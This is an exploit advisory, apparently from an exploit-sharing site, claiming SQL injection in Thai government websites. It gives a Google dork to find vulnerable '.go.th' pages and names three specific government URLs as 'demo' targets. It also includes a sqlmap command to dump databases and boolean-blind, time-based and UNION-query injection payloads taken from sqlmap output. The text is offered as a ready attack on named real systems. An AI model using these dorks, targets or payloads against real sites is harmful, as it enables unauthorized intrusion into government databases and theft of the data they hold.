<------------------ header data start ------------------- > ############################################################# # Application Name : Thailand Government Sites SQL İnjection # Vulnerable Type : SQL İnjection # Tested on : Windows 10 / Google Chrome # Linux / sqlmap 1.0.6.28#dev # Google Dork: site:go.th inurl:"data.php?id=" # Author: Cyber Warrior | Pentester # Date: 26.09.2016 # Tested On Demo Sites: http://maeloi.go.th/data.php?id=8 http://www.sansailocal.go.th/data.php?id=2 http://www.pasanglocal.go.th/data.php?id=1 # Exploit Code via sqlmap: sqlmap -u http://http://www.pasanglocal.go.th/data.php?id=1 --dbs --random-agent Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=3 AND 4606=4606 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Paylaod: id=3 OR SLEEP(5) Type: UNİON query Title: Generic UNİON query (NULL) - 5 columns Payload: id=-9846 UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b6b71,0x6e4a4d504c53596e4b 704964667177796a65694c615943526f615a696a4b64455845 5a5a7544596b,0x71706b7171),NULL,NULL-- MCjy --- < ------------------- header data end of ------------------- >